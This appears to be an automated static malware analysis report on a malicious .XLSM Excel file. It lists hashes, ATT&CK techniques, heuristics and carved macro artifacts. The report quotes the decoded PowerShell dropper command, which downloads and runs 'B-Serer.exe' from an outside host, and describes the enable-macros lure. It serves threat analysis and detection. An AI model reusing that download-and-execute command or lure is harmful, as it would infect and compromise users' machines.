Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 4cd612a6b3a9155c…

MALICIOUS

Office (OOXML) / .XLSM

389.9 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 15.0300
MD5: e605c74aec51b82e10a69a8f348832a6 SHA-1: 6a69fdc1fbf829426f429ed7791dabaf6e7247e9 SHA-256: 4cd612a6b3a9155c0ad6e00f4cfc10d27e3851fdf6482847f327b23624b19cd3
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

This XLSM file contains VBA macros that employ a lure to trick users into enabling content. The script decodes a Base64 string which, when decoded, reveals a PowerShell command. This command is designed to download an executable file named 'B-Serer.exe' from 'http://coacarmenwilliams.com/B-Serer.exe' and then execute it. The PowerShell command is constructed as: 'New-Object System.Net.WebClient).DownloadFile("http://coacarmenwilliams.com/B-Serer.exe", "$env:APPDATA\ProcName") ;(Start-Process "$env:APPDATA\ProcName")'. The VBA also constructs a command to run PowerShell with specific arguments, likely to execute the downloaded payload.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (6) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 6 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844736
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844736
    • http://go.microsoft.com/fwlink/?LinkId=844969
    • https://go.microsoft.com/fwlink/?linkid=844749
    • https://go.microsoft.com/fwlink/?linkid=844741
    • https://go.microsoft.com/fwlink/?linkid=844732
    • https://go.microsoft.com/fwlink/?linkid=844725
    • https://go.microsoft.com/fwlink/?linkid=844742
    • https://go.microsoft.com/fwlink/?linkid=844734
    • https://go.microsoft.com/fwlink/?linkid=844751
    • https://go.microsoft.com/fwlink/?linkid=844745
    • https://go.microsoft.com/fwlink/?linkid=844743
    • https://go.microsoft.com/fwlink/?linkid=844728
    • https://go.microsoft.com/fwlink/?linkid=844746
    • https://go.microsoft.com/fwlink/?linkid=844747
    • https://go.microsoft.com/fwlink/?linkid=844726
    • https://go.microsoft.com/fwlink/?linkid=844738
    • https://go.microsoft.com/fwlink/?linkid=844735
    • https://go.microsoft.com/fwlink/?linkid=844750
    • http://go.microsoft.com/fwlink/?LinkId=846285

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
8dbe3a4814c06dde297b56f6932bdc453ea2e429aae15207e6be6b063a1cb32a
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6011 bytes
vbaProject_00.bin
766e6dcaa84e73bf39e955cfc52277da0c9e0d2868ef6fd5b78094bae01bb831
vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes